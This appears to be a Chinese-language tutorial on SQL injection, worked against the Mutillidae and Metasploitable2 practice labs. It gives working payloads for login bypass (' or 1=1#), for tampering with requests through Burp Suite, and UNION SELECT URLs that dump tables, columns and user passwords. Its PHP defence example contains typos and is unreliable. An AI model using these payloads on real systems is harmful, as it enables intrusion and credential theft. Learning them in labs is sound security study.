一、数据库基础知识
1.什么是SQL?
1)大多数网站使用数据库存储数据
2)数据库database(DB)存储了用户名,密码等重要数据
3)网站应用程序读取,更新和插入数据到数据库中
4)和数据库进行交互就是SQL,使用SQL语句/注入语句。
mysql是其中一种常用的数据库。
我们部署的metasploitable2
mysql -u 用户名 -h 目标地址 连接上数据库。
2.mysql 基础语法
1) 显示所有数据库
show databases;
2)使用数据库
use 数据库名;
3)显示数据库的所有表
show tables;
4)选择accounts表的所有内容 *表示所有
select * from accounts;
3.为什么SQL注入很危险?
1)它们比较常见。
2)它们通过数据库获得敏感数据。
3)可以被使用去读取WWW root外部的本地文件。
4)可以被使用作为管理员登入并进一步利用系统。
5)被用作文件上传。
================================================
4.在POST中发现SQL注入。
1)使用'and', 'order by', 或者" ' "破环正常页面。
2)测试文本框或参数时
比如PHP页面 http://host/page.php?something=something
举个栗子:打开Mutillidae 点击登入/注册页面,先随便注册一个账号:szs 密码:123456
ps:如果注册用户失败,说metasploit数据库不存在,那么就在metasploitables中改下数据库名
改为:dbname='owasp10',刷新页面重新注册就ok了。
正常访问界面:输入szs 123456 登入成功。
SQL语句 select * from where username='szs' and password='$Password'
正常情况输入123456就登入了,如果存在SQL注入漏洞,我们就可以 输入123456’ and 1=1# 单引号闭合前面的语句 # 注释掉后面的所有语句
SQL语句就被构造成select * from where username='szs' and password='123456' and 1=1#'
发现正常登入。
而输入123456'and 1=2#则会报错。
说明构造命令被执行,存在SQL注入漏洞。
==========================================================================================
5.使用SQL注入绕过登录。
使用用户名: admin 密码:1' or 1=1# or表示一真即真,1=1显然是true。所以可以绕过密码。
发现不需要输入密码就登入了管理员账号。
甚至我们可以连账号都不用输,直接在账号输入: ’or 1=1# 密码随便因为后面都是无效语句被注释掉了。
====================================================================================================
6.使用SQL注入绕过更安全的登录。
上述讲到的例子是输入框完全没做安全防护的情况,现在我们将安全等级提高,比如输入使用过滤器,过滤特殊字符,该怎么绕过?
这时我们可以使用Burpsuite开启代理获得http数据,这时的数据已经通过了过滤器,所以我们只需要通过bp对http包修改,转发就行了。打开bp ,开启代理,抓取http包
发现抓到了包,并且输入的密码是123,显然密码是错误的,现在已经通过了过滤器,我们可以将值修改为 123‘or 1=1#绕过登入。
然后转发,查看浏览器,成功登入。
因为过滤是通过页面上执行的javascript代码在客户端进行的,我们抓取的包是在链路当中。
===================================================================================
7.防止在登入页面中进行SQL注入-安全性。
<?php // case1:不安全的代码 $query = "SELECT * FROM accounts WHERE username='".$username "'AND password='".$password, // case2:更安全的代码 $query = "SELECT * FROM accounts WHERE username='". $conn->rela_escape_string($username). "' AND password='" $conn->real_escape_string($password)."'"; ?>
====================================================================================
8.在GET中发现SQL注入。
选择OWASP Top10 -->A1injection -->SQLi extact data -->user info
创建一个用户szs 密码 123456
登录:
相当于执行了:Select * from accounts where username = '$USERNAME' and password='$PASSWORD'
url中使用GET方法,我们可以看到url存在username= password=字样
http://192.168.164.129/mutillidae/index.php?page=user-info.php&username=szs&password=123456&user-info-php-submit-button=View+Account+Details
我们可以构造payload如下:
http://192.168.164.129/mutillidae/index.php?page=user-info.php&username=szs&password='or 1=1--+&user-info-php-submit-button=View+Account+Details
发现爆出所有用户名密码。
1)判断注入点后
2)order by 或者 union select 1,2,3....判断有多少列。
3)读取数据库信息
4)查找数据表
username=%27union%20select%201,table_name,null,null,5%20from%20information_schema.tables%20where%20table_schema=%27owasp10%27%23
5)查找表的列名 %27-- ' %20--空格 %23-- #
username=%27union%20select%201,column_name,null,null,5%20from%20information_schema.columns%20where%20table_name=%27accounts%27%23
6)爆出数据,用户名和密码
username=%27union%20select%201,username,password,is_admin,5 from accounts%20
=======================================================================================================
9.发现和利用盲SQL注入。
'1 and 1=1#
'1 and 1=2#
通过回显信息,判断是否是SQL注入点.
http://192.168.164.129/mutillidae/index.php?page=user-info.php